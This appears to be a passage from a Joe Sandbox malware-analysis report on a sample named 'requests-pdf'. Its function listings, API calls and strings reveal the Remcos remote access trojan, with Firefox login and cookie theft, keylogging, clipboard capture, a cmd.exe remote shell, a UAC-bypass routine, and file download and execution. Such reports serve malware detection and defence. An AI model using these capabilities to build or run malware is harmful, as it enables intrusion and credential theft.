                                                      • Part of subcall function 0041B42F: RemoveDirectoryW.KERNEL32(00000000,?,?,?,?,?,?,00473EE8,00000000), ref: 0041B568
                                                      • Part of subcall function 00404468: send.WS2_32(?,00000000,00000000,00000000), ref: 004044FD
                                                      • Part of subcall function 00406BE9: CreateFileW.KERNEL32(00000000,00000004,00000000,00000000,00000002,00000080,00000000,00465454,?,?,00000000,00407273,00000000,?,0000000A,00000000), ref: 00406C38
                                                      • Part of subcall function 00406BE9: WriteFile.KERNEL32(00000000,?,00000000,?,00000000,?,000186A0,?,?,?,00000000,00407273,00000000,?,0000000A,00000000), ref: 00406C80
                                                      • Part of subcall function 00406BE9: CloseHandle.KERNEL32(00000000,?,?,00000000,00407273,00000000,?,0000000A,00000000,00000000), ref: 00406CC0
                                                      • Part of subcall function 00406BE9: MoveFileW.KERNEL32(00000000,00000000), ref: 00406CDD
                                                      • Part of subcall function 0041A686: GetLocalTime.KERNEL32(00000000), ref: 0041A6A0
                                                      • Part of subcall function 00404468: WaitForSingleObject.KERNEL32(?,00000000,00401943,?,?,00000004,?,?,00000004,00475B70,00473EE8,00000000), ref: 0040450E
                                                      • Part of subcall function 00404468: SetEvent.KERNEL32(?,?,?,00000004,?,?,00000004,00475B70,00473EE8,00000000,?,?,?,?,?,00401943), ref: 0040453C
                                                    • ShellExecuteW.SHELL32(00000000,open,00000000,00000000,00000000,00000001), ref: 00407416
                                                    • GetLogicalDriveStringsA.KERNEL32(00000064,?), ref: 004074F5
                                                    • SetFileAttributesW.KERNEL32(00000000,?,00000000,00000001), ref: 0040773A
                                                    • DeleteFileA.KERNEL32(?), ref: 004078CC
                                                      • Part of subcall function 00407A8C: __EH_prolog.LIBCMT ref: 00407A91
                                                      • Part of subcall function 00407A8C: FindFirstFileW.KERNEL32(00000000,?,00465AA0,00000000,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00407B4A
                                                      • Part of subcall function 00407A8C: FindNextFileW.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00407B6E
                                                    • Sleep.KERNEL32(000007D0), ref: 00407976
                                                    • StrToIntA.SHLWAPI(00000000,00000000), ref: 004079BA
                                                      • Part of subcall function 0041BB77: SystemParametersInfoW.USER32(00000014,00000000,00000000,00000003), ref: 0041BC6C
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.2432182180.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                    • Associated: 00000000.00000002.2432182180.0000000000473000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2432182180.0000000000476000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_400000_requests-pdf.jbxd
                                                    Yara matches
                                                    Similarity
                                                    • API ID: File$Find$AttributesCloseDeleteDirectoryEventFirstNextRemove$CreateDriveExecuteH_prologHandleInfoLocalLogicalMoveObjectParametersShellSingleSleepStringsSystemTimeWaitWritesend
                                                    • String ID: Browsing directory: $Deleted file: $Downloaded file: $Downloading file: $Executing file: $Failed to download file: $H@G$Unable to delete: $Unable to rename file!$V>G$open$x@G$x@G$x@G$x@G$>G
                                                    • API String ID: 2918587301-599666313
                                                    • Opcode ID: fe774ec57ea4c9c98434e9a8a4b205946b127d152570ca2712e415059fb31443
                                                    • Instruction ID: 8a4068a2e00c67808ff4e441dc576a613f01372a1abbdcb91e63f440e0dcd641
                                                    • Opcode Fuzzy Hash: fe774ec57ea4c9c98434e9a8a4b205946b127d152570ca2712e415059fb31443
                                                    • Instruction Fuzzy Hash: 60429371A043005BC614F776C8979AE77A99F90718F40493FF946731E2EE3CAA09C69B
                                                    Function 00405042 Relevance: 38.8, APIs: 15, Strings: 7, Instructions: 280pipesleepfileCOMMON
                                                    Download Yara Rule
                                                    APIs
                                                    • __Init_thread_footer.LIBCMT ref: 0040508E
                                                      • Part of subcall function 004334CF: RtlEnterCriticalSection.KERNEL32(00470D18,00475BF0,?,004017C1,00475BF0,00000000), ref: 004334D9
                                                      • Part of subcall function 004334CF: RtlLeaveCriticalSection.KERNEL32(00470D18,?,004017C1,00475BF0,00000000), ref: 0043350C
                                                      • Part of subcall function 00404468: send.WS2_32(?,00000000,00000000,00000000), ref: 004044FD
                                                    • __Init_thread_footer.LIBCMT ref: 004050CB
                                                    • CreatePipe.KERNEL32(00475CEC,00475CD4,00475BF8,00000000,0046556C,00000000), ref: 0040515E
                                                    • CreatePipe.KERNEL32(00475CD8,00475CF4,00475BF8,00000000), ref: 00405174
                                                    • CreateProcessA.KERNEL32(00000000,00000000,00000000,00000000,00000001,00000000,00000000,00000000,00475C08,00475CDC), ref: 004051E7
                                                      • Part of subcall function 00433519: RtlEnterCriticalSection.KERNEL32(00470D18,00475B70,00475BF0,?,0040179E,00475BF0), ref: 00433524
                                                      • Part of subcall function 00433519: RtlLeaveCriticalSection.KERNEL32(00470D18,?,0040179E,00475BF0), ref: 00433561
                                                    • Sleep.KERNEL32(0000012C,00000093,?), ref: 0040523F
                                                    • PeekNamedPipe.KERNEL32(00000000,00000000,00000000,?,00000000), ref: 00405264
                                                    • ReadFile.KERNEL32(00000000,?,?,00000000), ref: 00405291
                                                      • Part of subcall function 004338A5: __onexit.LIBCMT ref: 004338AB
                                                    • WriteFile.KERNEL32(00000000,00000000,?,00000000,00473F98,00465570,00000062,00465554), ref: 0040538E
                                                    • Sleep.KERNEL32(00000064,00000062,00465554), ref: 004053A8
                                                    • TerminateProcess.KERNEL32(00000000), ref: 004053C1
                                                    • CloseHandle.KERNEL32 ref: 004053CD
                                                    • CloseHandle.KERNEL32 ref: 004053D5
                                                    • CloseHandle.KERNEL32 ref: 004053E7
                                                    • CloseHandle.KERNEL32 ref: 004053EF
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.2432182180.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                    • Associated: 00000000.00000002.2432182180.0000000000473000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2432182180.0000000000476000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_400000_requests-pdf.jbxd
                                                    Yara matches
                                                    Similarity
                                                    • API ID: CloseCriticalHandleSection$CreatePipe$EnterFileInit_thread_footerLeaveProcessSleep$NamedPeekReadTerminateWrite__onexitsend
                                                    • String ID: P\G$P\G$P\G$P\G$P\G$SystemDrive$cmd.exe
                                                    • API String ID: 3815868655-81343324
                                                    • Opcode ID: bfcb8ec680749e1ff3d96b83f6722c7489f5814a8e376730b38478a1694e7e9c
                                                    • Instruction ID: b18bac6d60c4c725a58799f80733fb47b3e4e6a61b1262bf76379e9ec18ff918
                                                    • Opcode Fuzzy Hash: bfcb8ec680749e1ff3d96b83f6722c7489f5814a8e376730b38478a1694e7e9c
                                                    • Instruction Fuzzy Hash: A691E5716007056FD705BB65AC41A6F37A8EB80348F50403FF94ABA1E2EEBC9C448B6D
                                                    Function 00410F36 Relevance: 33.5, APIs: 7, Strings: 12, Instructions: 238threadCOMMON
                                                    Download Yara Rule
                                                    APIs
                                                    • GetCurrentProcessId.KERNEL32 ref: 00410F45
                                                      • Part of subcall function 004127D5: RegCreateKeyA.ADVAPI32(80000001,00000000,TUF), ref: 004127E3
                                                      • Part of subcall function 004127D5: RegSetValueExA.ADVAPI32(TUF,000000AF,00000000,00000004,00000001,00000004,?,?,?,0040B94C,004660E0,00000001,000000AF,00465554), ref: 004127FE
                                                      • Part of subcall function 004127D5: RegCloseKey.ADVAPI32(?,?,?,?,0040B94C,004660E0,00000001,000000AF,00465554), ref: 00412809
                                                    • OpenMutexA.KERNEL32(00100000,00000000,00000000), ref: 00410F81
                                                    • CreateThread.KERNEL32(00000000,00000000,00411637,00000000,00000000,00000000), ref: 00410FE6
                                                      • Part of subcall function 004124B7: RegOpenKeyExA.KERNEL32(80000001,00000000,00000000,00020019,00000000), ref: 004124D7
                                                      • Part of subcall function 004124B7: RegQueryValueExA.ADVAPI32(00000000,?,00000000,?,?,?), ref: 004124F5
                                                      • Part of subcall function 004124B7: RegCloseKey.ADVAPI32(00000000), ref: 00412500
                                                    • CloseHandle.KERNEL32(00000000), ref: 00410F90
                                                      • Part of subcall function 0041A686: GetLocalTime.KERNEL32(00000000), ref: 0041A6A0
                                                    • OpenProcess.KERNEL32(001FFFFF,00000000,?), ref: 0041125A
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.2432182180.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                    • Associated: 00000000.00000002.2432182180.0000000000473000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2432182180.0000000000476000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_400000_requests-pdf.jbxd
                                                    Yara matches
                                                    Similarity
                                                    • API ID: CloseOpen$CreateProcessValue$CurrentHandleLocalMutexQueryThreadTime
                                                    • String ID: 0DG$Remcos restarted by watchdog!$WDH$Watchdog launch failed!$Watchdog module activated$WinDir$\SysWOW64\$\system32\$fsutil.exe$rmclient.exe$svchost.exe$BG
                                                    • API String ID: 65172268-860466531
                                                    • Opcode ID: d192d8a590ecce51a9812f84f69104631043a8cd194a5600cb3b3bff2e47a3d7
                                                    • Instruction ID: 2ec41641ff7d981187ed77e29e7d519fc89a207972baa733902a05010441332b
                                                    • Opcode Fuzzy Hash: d192d8a590ecce51a9812f84f69104631043a8cd194a5600cb3b3bff2e47a3d7
                                                    • Instruction Fuzzy Hash: 97719E3160420157C614FB32D8579AE77A8AED4718F40053FF582A21F2EF7CAA49869F
                                                    Function 0040B335 Relevance: 24.6, APIs: 8, Strings: 6, Instructions: 145fileCOMMON
                                                    Download Yara Rule
                                                    APIs
                                                    • FindFirstFileA.KERNEL32(00000000,?,00000000,\AppData\Roaming\Mozilla\Firefox\Profiles\), ref: 0040B3B4
                                                    • FindClose.KERNEL32(00000000), ref: 0040B3CE
                                                    • FindNextFileA.KERNEL32(00000000,?), ref: 0040B4F1
                                                    • FindClose.KERNEL32(00000000), ref: 0040B517
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.2432182180.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                    • Associated: 00000000.00000002.2432182180.0000000000473000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2432182180.0000000000476000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_400000_requests-pdf.jbxd
                                                    Yara matches
                                                    Similarity
                                                    • API ID: Find$CloseFile$FirstNext
                                                    • String ID: [Firefox StoredLogins Cleared!]$[Firefox StoredLogins not found]$UserProfile$\AppData\Roaming\Mozilla\Firefox\Profiles\$\key3.db$\logins.json
                                                    • API String ID: 1164774033-3681987949
                                                    • Opcode ID: 012abd7bd482f24294ec220c5f3416e7c12077f4aefc2c6d47742caa5bc96ad8
                                                    • Instruction ID: 89bba1744b34cafda07904381260291e44814ca984bf7dbd554ee600cd7873bd
                                                    • Opcode Fuzzy Hash: 012abd7bd482f24294ec220c5f3416e7c12077f4aefc2c6d47742caa5bc96ad8
                                                    • Instruction Fuzzy Hash: 4D512C319042195ADB14FBA1EC96AEE7768EF50318F50007FF805B31E2EF389A45CA9D
                                                    Function 0041CA9E Relevance: 22.8, APIs: 12, Strings: 1, Instructions: 73windownativeCOMMON
                                                    Download Yara Rule
                                                    APIs
                                                    • NtdllDefWindowProc_A.USER32(?,00000401,?,?), ref: 0041CAE9
                                                    • GetCursorPos.USER32(?), ref: 0041CAF8
                                                    • SetForegroundWindow.USER32(?), ref: 0041CB01
                                                    • TrackPopupMenu.USER32(00000000,?,?,00000000,?,00000000), ref: 0041CB1B
                                                    • Shell_NotifyIcon.SHELL32(00000002,00473B50), ref: 0041CB6C
                                                    • ExitProcess.KERNEL32 ref: 0041CB74
                                                    • CreatePopupMenu.USER32 ref: 0041CB7A
                                                    • AppendMenuA.USER32(00000000,00000000,00000000,Close), ref: 0041CB8F
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.2432182180.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                    • Associated: 00000000.00000002.2432182180.0000000000473000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2432182180.0000000000476000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_400000_requests-pdf.jbxd
                                                    Yara matches
                                                    Similarity
                                                    • API ID: Menu$PopupWindow$AppendCreateCursorExitForegroundIconNotifyNtdllProc_ProcessShell_Track
                                                    • String ID: Close
                                                    • API String ID: 1665278180-3535843008
                                                    • Opcode ID: 17791859dac929b483a24ff72816a8478769eebc5405c417f6cbcdd658e3cffe
                                                    • Instruction ID: a66ed96c0d91d71762f770de87d5f41dd37c70c4e97b210e23d221b2b7ccacbc
                                                    • Opcode Fuzzy Hash: 17791859dac929b483a24ff72816a8478769eebc5405c417f6cbcdd658e3cffe
                                                    • Instruction Fuzzy Hash: 68212B71188209FFDB064F64FD4EAAA3F65EB04342F044135B906D40B2D7B9EA90EB18
                                                    Function 0040B53A Relevance: 21.1, APIs: 7, Strings: 5, Instructions: 130fileCOMMON
                                                    Download Yara Rule
                                                    APIs
                                                    • FindFirstFileA.KERNEL32(00000000,?,00000000,\AppData\Roaming\Mozilla\Firefox\Profiles\), ref: 0040B5B2
                                                    • FindClose.KERNEL32(00000000), ref: 0040B5CC
                                                    • FindNextFileA.KERNEL32(00000000,?), ref: 0040B68C
                                                    • FindClose.KERNEL32(00000000), ref: 0040B6B2
                                                    • FindClose.KERNEL32(00000000), ref: 0040B6D1
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.2432182180.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                    • Associated: 00000000.00000002.2432182180.0000000000473000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2432182180.0000000000476000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_400000_requests-pdf.jbxd
                                                    Yara matches
                                                    Similarity
                                                    • API ID: Find$Close$File$FirstNext
                                                    • String ID: [Firefox Cookies not found]$[Firefox cookies found, cleared!]$UserProfile$\AppData\Roaming\Mozilla\Firefox\Profiles\$\cookies.sqlite
                                                    • API String ID: 3527384056-432212279
                                                    • Opcode ID: eec28e5122cf95747afd0231d26089d1190572cbd646818cfb2ab67d48c7021b
                                                    • Instruction ID: 41d59f58487c11b5b23c2ebc8e3123b77d6604a8f5f59a85184e8f88ff1ca84c
                                                    • Opcode Fuzzy Hash: eec28e5122cf95747afd0231d26089d1190572cbd646818cfb2ab67d48c7021b
                                                    • Instruction Fuzzy Hash: 65413A319042196ACB14F7A1EC569EE7768EE21318F50017FF801B31E2EF399A458A9E
                                                    Function 0040E219 Relevance: 19.5, APIs: 6, Strings: 5, Instructions: 212processCOMMON
                                                    Download Yara Rule
                                                    APIs
                                                    • GetModuleFileNameW.KERNEL32(00000000,?,00000104,00000000,?,?,00474358), ref: 0040E233
                                                    • CreateToolhelp32Snapshot.KERNEL32(00000002,00000000,?,?,00474358), ref: 0040E25E
                                                    • Process32FirstW.KERNEL32(00000000,0000022C), ref: 0040E27A
                                                    • Process32NextW.KERNEL32(00000000,0000022C), ref: 0040E2FD
                                                    • CloseHandle.KERNEL32(00000000,?,?,00474358), ref: 0040E30C
                                                      • Part of subcall function 004127D5: RegCreateKeyA.ADVAPI32(80000001,00000000,TUF), ref: 004127E3
                                                      • Part of subcall function 004127D5: RegSetValueExA.ADVAPI32(TUF,000000AF,00000000,00000004,00000001,00000004,?,?,?,0040B94C,004660E0,00000001,000000AF,00465554), ref: 004127FE
                                                      • Part of subcall function 004127D5: RegCloseKey.ADVAPI32(?,?,?,?,0040B94C,004660E0,00000001,000000AF,00465554), ref: 00412809
                                                    • CloseHandle.KERNEL32(00000000,?,?,00474358), ref: 0040E371
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.2432182180.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                    • Associated: 00000000.00000002.2432182180.0000000000473000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2432182180.0000000000476000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_400000_requests-pdf.jbxd
                                                    Yara matches
                                                    Similarity
                                                    • API ID: Close$CreateHandleProcess32$FileFirstModuleNameNextSnapshotToolhelp32Value
                                                    • String ID: C:\Program Files(x86)\Internet Explorer\$Inj$ieinstal.exe$ielowutil.exe$BG
                                                    • API String ID: 726551946-3025026198
                                                    • Opcode ID: 2298112d5e9beca4c64cadb89c7e546d0899f31810f4b1b50fdabc55d78eae7e
                                                    • Instruction ID: ae31f71cb8b9f969ca9e83e5ca698076ed3bac053ed440982de07d1dc4d90588
                                                    • Opcode Fuzzy Hash: 2298112d5e9beca4c64cadb89c7e546d0899f31810f4b1b50fdabc55d78eae7e
                                                    • Instruction Fuzzy Hash: ED7172311083019BC714FB61D8519EF77A5BF91358F400D3EF986631E2EF38A959CA9A
                                                    Function 004159C6 Relevance: 18.1, APIs: 12, Instructions: 80clipboardmemoryCOMMON
                                                    Download Yara Rule
                                                    APIs
                                                    • OpenClipboard.USER32 ref: 004159C7
                                                    • EmptyClipboard.USER32 ref: 004159D5
                                                    • GlobalAlloc.KERNEL32(00002000,-00000002), ref: 004159F5
                                                    • GlobalLock.KERNEL32(00000000), ref: 004159FE
                                                    • GlobalUnlock.KERNEL32(00000000), ref: 00415A34
                                                    • SetClipboardData.USER32(0000000D,00000000), ref: 00415A3D
                                                    • CloseClipboard.USER32 ref: 00415A5A
                                                    • OpenClipboard.USER32 ref: 00415A61
                                                    • GetClipboardData.USER32(0000000D), ref: 00415A71
                                                    • GlobalLock.KERNEL32(00000000), ref: 00415A7A
                                                    • GlobalUnlock.KERNEL32(00000000), ref: 00415A83
                                                    • CloseClipboard.USER32 ref: 00415A89
                                                      • Part of subcall function 00404468: send.WS2_32(?,00000000,00000000,00000000), ref: 004044FD
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.2432182180.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                    • Associated: 00000000.00000002.2432182180.0000000000473000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2432182180.0000000000476000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_400000_requests-pdf.jbxd
                                                    Yara matches
                                                    Similarity
                                                    • API ID: Clipboard$Global$CloseDataLockOpenUnlock$AllocEmptysend
                                                    • String ID:
                                                    • API String ID: 3520204547-0
                                                    • Opcode ID: 5bf6c0a188ebc9cd77caef7c6d8a55023eea9b799c8747cd0bf31199529283f8
                                                    • Instruction ID: b8e523df9fc7c7245f85f50a48877f09888e29e8b5459684195c928b546a98bf
                                                    • Opcode Fuzzy Hash: 5bf6c0a188ebc9cd77caef7c6d8a55023eea9b799c8747cd0bf31199529283f8
                                                    • Instruction Fuzzy Hash: E02183712043009BC714BBB1EC5AAAE76A9AF80752F00453EFD06961E2EF38C845D66A
                                                    Function 024ECD05 Relevance: 18.1, APIs: 12, Instructions: 73windownativeCOMMON
                                                    Download Yara Rule
                                                    APIs
                                                    • NtdllDefWindowProc_A.NTDLL(?,00000401,?,?), ref: 024ECD50
                                                    • GetCursorPos.USER32(?), ref: 024ECD5F
                                                    • SetForegroundWindow.USER32(?), ref: 024ECD68
                                                    • TrackPopupMenu.USER32(00000000,?,?,00000000,?,00000000), ref: 024ECD82
                                                    • Shell_NotifyIcon.SHELL32(00000002,00473B50), ref: 024ECDD3
                                                    • ExitProcess.KERNEL32 ref: 024ECDDB
                                                    • CreatePopupMenu.USER32 ref: 024ECDE1
                                                    • AppendMenuA.USER32(00000000,00000000,00000000,0046C11C), ref: 024ECDF6
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.2432793531.00000000024D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 024D0000, based on PE: false
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_24d0000_requests-pdf.jbxd
                                                    Yara matches
                                                    Similarity
                                                    • API ID: Menu$PopupWindow$AppendCreateCursorExitForegroundIconNotifyNtdllProc_ProcessShell_Track
                                                    • String ID:
                                                    • API String ID: 1665278180-0
                                                    • Opcode ID: 17791859dac929b483a24ff72816a8478769eebc5405c417f6cbcdd658e3cffe
                                                    • Instruction ID: dffd2fb71c2645b4b5614a14c0dabf1240f284c4d94a312b9d60d7a4402acf96
                                                    • Opcode Fuzzy Hash: 17791859dac929b483a24ff72816a8478769eebc5405c417f6cbcdd658e3cffe
                                                    • Instruction Fuzzy Hash: 3721C732104206EFEF155F64ED4EEAE3E65EB04703F004536FA06A51B2D7B6DA61EB18
                                                    Function 00418754 Relevance: 15.9, APIs: 1, Strings: 8, Instructions: 197COMMON
                                                    Download Yara Rule
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.2432182180.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                    • Associated: 00000000.00000002.2432182180.0000000000473000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2432182180.0000000000476000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_400000_requests-pdf.jbxd
                                                    Yara matches
                                                    Similarity
                                                    • API ID:
                                                    • String ID: 0$1$2$3$4$5$6$7
                                                    • API String ID: 0-3177665633
                                                    • Opcode ID: cde1b3d257b3b84ac0aca3a867a652d949c29c2e455d7912b36e5a4a136b74f3
                                                    • Instruction ID: 2879f211a781d1662389055333b9a248a4bc7621c6500268a6892da51c348380
                                                    • Opcode Fuzzy Hash: cde1b3d257b3b84ac0aca3a867a652d949c29c2e455d7912b36e5a4a136b74f3
                                                    • Instruction Fuzzy Hash: CC61A370508301AEDB00EF21D862FEA77E4AF85754F40485EFA91672E1DF789A48C797
                                                    Function 00409B10 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 108keyboardthreadCOMMON
                                                    Download Yara Rule
                                                    APIs
                                                    • GetForegroundWindow.USER32 ref: 00409B3F
                                                    • GetWindowThreadProcessId.USER32(00000000,?), ref: 00409B4B
                                                    • GetKeyboardLayout.USER32(00000000), ref: 00409B52
                                                    • GetKeyState.USER32(00000010), ref: 00409B5C
                                                    • GetKeyboardState.USER32(?), ref: 00409B67
                                                    • ToUnicodeEx.USER32(?,?,?,?,00000010,00000000,00000000), ref: 00409B8A
                                                    • ToUnicodeEx.USER32(?,?,00000010,00000000,00000000), ref: 00409BE3
                                                    • ToUnicodeEx.USER32(?,?,?,?,00000010,00000000,00000000), ref: 00409C1C
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.2432182180.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                    • Associated: 00000000.00000002.2432182180.0000000000473000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2432182180.0000000000476000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_400000_requests-pdf.jbxd
                                                    Yara matches
                                                    Similarity
                                                    • API ID: Unicode$KeyboardStateWindow$ForegroundLayoutProcessThread
                                                    • String ID: 8[G
                                                    • API String ID: 1888522110-1691237782
                                                    • Opcode ID: 0057a6b8e9be89c2a124ace2c7aa15ce6e2280d77a8450e2501583d43799386c
                                                    • Instruction ID: f24a8317de74a0bbad47f265c67a45df51816e9018bfad09e00086f3728f1c27
                                                    • Opcode Fuzzy Hash: 0057a6b8e9be89c2a124ace2c7aa15ce6e2280d77a8450e2501583d43799386c
                                                    • Instruction Fuzzy Hash: EE318172508309AFD700DF90DC85FDBB7ECEB48715F00083ABA45961A1D6B5E948DB96
                                                    Function 00406764 Relevance: 15.8, APIs: 2, Strings: 7, Instructions: 55COMMON
                                                    Download Yara Rule
                                                    APIs
                                                    • _wcslen.LIBCMT ref: 00406788
                                                    • CoGetObject.OLE32(?,00000024,004659B0,00000000), ref: 004067E9
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.2432182180.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                    • Associated: 00000000.00000002.2432182180.0000000000473000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2432182180.0000000000476000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_400000_requests-pdf.jbxd
                                                    Yara matches
                                                    Similarity
                                                    • API ID: Object_wcslen
                                                    • String ID: $$Elevation:Administrator!new:$[+] CoGetObject$[+] CoGetObject SUCCESS$[+] ucmAllocateElevatedObject$[-] CoGetObject FAILURE${3E5FC7F9-9A51-4367-9063-A120244FBEC7}
                                                    • API String ID: 240030777-3166923314
                                                    • Opcode ID: db32128b02a1ccbc70c4588b7822f6c775a314ba91b6364ff21a4127614396bf
                                                    • Instruction ID: dba8c49f7cecafb8ed31af17d29d910bb03d3c12ecd117c8e18c4d6c9c114880
                                                    • Opcode Fuzzy Hash: db32128b02a1ccbc70c4588b7822f6c775a314ba91b6364ff21a4127614396bf
                                                    • Instruction Fuzzy Hash: 811170B2901118AEDB10FAA5884AA9EB7BCDB48714F55007FE905F3281E7789A148A7D
                                                    Function 004198C2 Relevance: 15.2, APIs: 10, Instructions: 228serviceCOMMON
                                                    Download Yara Rule
                                                    APIs
                                                    • OpenSCManagerA.ADVAPI32(00000000,00000000,00000004,004748F8), ref: 004198D8
                                                    • EnumServicesStatusW.ADVAPI32(00000000,0000003B,00000003,?,00000000,?,?,?), ref: 00419927
                                                    • GetLastError.KERNEL32 ref: 00419935
                                                    • EnumServicesStatusW.ADVAPI32(00000000,0000003B,00000003,00000000,?,?,?,?), ref: 0041996D
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.2432182180.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                    • Associated: 00000000.00000002.2432182180.0000000000473000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2432182180.0000000000476000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_400000_requests-pdf.jbxd
                                                    Yara matches
                                                    Similarity
                                                    • API ID: EnumServicesStatus$ErrorLastManagerOpen
                                                    • String ID:
                                                    • API String ID: 3587775597-0
                                                    • Opcode ID: 46cfc2a1174990e4b59b9ee5729c715e61cf9958b22909a5f2789daa8df81af0
                                                    • Instruction ID: 5304d2aa3016a1bb8b693e548c532b43deb082133906afc562c92feca393f19d
                                                    • Opcode Fuzzy Hash: 46cfc2a1174990e4b59b9ee5729c715e61cf9958b22909a5f2789daa8df81af0
                                                    • Instruction Fuzzy Hash: 37812F711083049BC614FB21DC959AFB7A8BF94718F50493EF582521E2EF78AA05CB9A
                                                    Function 024E9B29 Relevance: 15.2, APIs: 10, Instructions: 228serviceCOMMON
                                                    Download Yara Rule
                                                    APIs
                                                    • OpenSCManagerA.ADVAPI32(00000000,00000000,00000004,004748F8), ref: 024E9B3F
                                                    • EnumServicesStatusW.ADVAPI32(00000000,0000003B,00000003,?,00000000,?,?,?), ref: 024E9B8E
                                                    • GetLastError.KERNEL32 ref: 024E9B9C
                                                    • EnumServicesStatusW.ADVAPI32(00000000,0000003B,00000003,00000000,?,?,?,?), ref: 024E9BD4
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.2432793531.00000000024D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 024D0000, based on PE: false
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_24d0000_requests-pdf.jbxd
                                                    Yara matches
                                                    Similarity
                                                    • API ID: EnumServicesStatus$ErrorLastManagerOpen
                                                    • String ID:
                                                    • API String ID: 3587775597-0
                                                    • Opcode ID: e61e99f355a85b792043c415c774071641b882a3dc166781f1924c38db1b4eec
                                                    • Instruction ID: dfb7642c90aa796b9b5bd4ba77223ec4850c30e38ded2269e88d1b6ac4ef30ce
                                                    • Opcode Fuzzy Hash: e61e99f355a85b792043c415c774071641b882a3dc166781f1924c38db1b4eec
                                                    • Instruction Fuzzy Hash: F9813B31508344ABC655EF21DCA0EAFBBA9FF94705F50492EF58242191EF70AA05CF92
                                                    Function 004513B7 Relevance: 14.2, APIs: 5, Strings: 3, Instructions: 188COMMONLIBRARYCODE
                                                    Download Yara Rule
                                                    APIs
                                                      • Part of subcall function 00446EBF: GetLastError.KERNEL32(?,?,0043931C,?,?,?,0043E4CD,?,?,?,?,00000000,?,?,0042CE53,0000003B), ref: 00446EC3
                                                      • Part of subcall function 00446EBF: _free.LIBCMT ref: 00446EF6
